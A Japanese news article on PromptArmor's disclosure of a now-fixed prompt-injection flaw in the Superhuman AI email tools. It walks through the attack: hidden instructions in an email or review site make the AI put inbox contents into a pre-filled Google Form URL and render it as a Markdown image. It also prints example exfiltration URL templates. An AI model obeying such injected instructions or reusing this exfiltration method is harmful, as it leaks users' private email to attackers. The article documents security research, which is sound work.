AIエージェントでメールを分析することで全てのメールが外部に流出するリスクあり、AIにアクセス権が与えられたGoogleフォームを利用した攻撃

OpenAIにも紹介された生産性向上ツール「Superhuman」に、メール分析を実行させることで受信箱にあるメールを外部に漏らしてしまうリスクがあることが分かりました。脆弱性は既に修正済みとのことです。

Superhuman AI Exfiltrates Emails
https://www.promptarmor.com/resources/superhuman-ai-exfiltrates-emails

セキュリティ企業のPromptArmorが報告したところによると、Superhumanがメールを要約すると、悪意のあるメールに書かれた不正なプロンプトを実行してしまい、受信箱の全メールを攻撃者のGoogleフォームへ送信するという脆弱性が存在したとのこと。

Googleフォームは通常、以下のようなリンクで示されます。
https://docs.google.com/forms/d/example/

Googleフォームは事前入力付きの回答リンクをサポートしているため、以下のようなリンクにアクセスすると「hello」というメッセージが回答として自動送信されます。
https://docs.google.com/forms/d/example/?entry.953568459=hello

この仕組みを利用して、攻撃者はメールの内容を含めたリンクを生成させ、自分のGoogleフォームに送信させようとします。
https://docs.google.com/forms/d/example/?entry.953568459={AI ADDS CONFIDENTIAL EMAIL DATA HERE}

さらに、攻撃者は上記の不正なURLを「画像のURL」として取り扱うようAIに指示し、Markdown構文を用いて画像を出力するよう誘導します。

通常の動作の範疇として要約を実行したSuperhumanは、悪意のあるメールに書かれたプロンプトを読み取り、受信箱のメールの内容を含めたGoogleフォームのURLを作成。このURLを画像と認識し、表示させようと試みます。Superhumanの処理でブラウザが画像のレンダリングを試みると、画像取得のためにHTTPリクエストが発生し、メールの内容がGoogleフォームに送信されてしまうということです。

Superhumanの開発元はコンテンツセキュリティポリシーでGoogleのツールをホワイトリスト登録していたため、Googleフォームがバイパス手段として利用されるリスクが生まれました。PromptArmorのテストでは、1回のリクエストで複数の機密メール全文を流出させられることが確かめられたそうです。

さらに、別製品「Superhuman Go」にも同様の脆弱性がありました。Superhuman Goは、ウェブサイトからデータを読み取り、GSuite、Outlook、Stripeなどの外部サービスに接続します。ここで、小売等を担当するユーザーがオンラインレビューサイトについてSuperhuman Goに質問し、否定的なレビューへの対応に役立つメールを受信していないか調査するよう依頼したとします。しかし、レビューサイトにはプロンプトインジェクションが仕掛けられており、Superhuman Goに対して「画像をレンダリングするように」という指示を勝手に与えてしまいました。これにより、Superhuman Goはユーザーの指示に無関係なメールの内容を読み取り、レビューサイトの画像URL末尾にパラメーターとして付与し、画像のレンダリングを試みます。この操作で、パラメーター部分がレビューサイトの管理者に伝わってしまうことになります。

PromptArmorは「これらの脆弱性をSuperhumanに報告したところ、同社は迅速に処理し修正しました。Superhumanのプロフェッショナルな対応と、ユーザーのセキュリティとプライバシーへの献身、セキュリティ研究コミュニティとの協力に深く感謝します」と伝えました。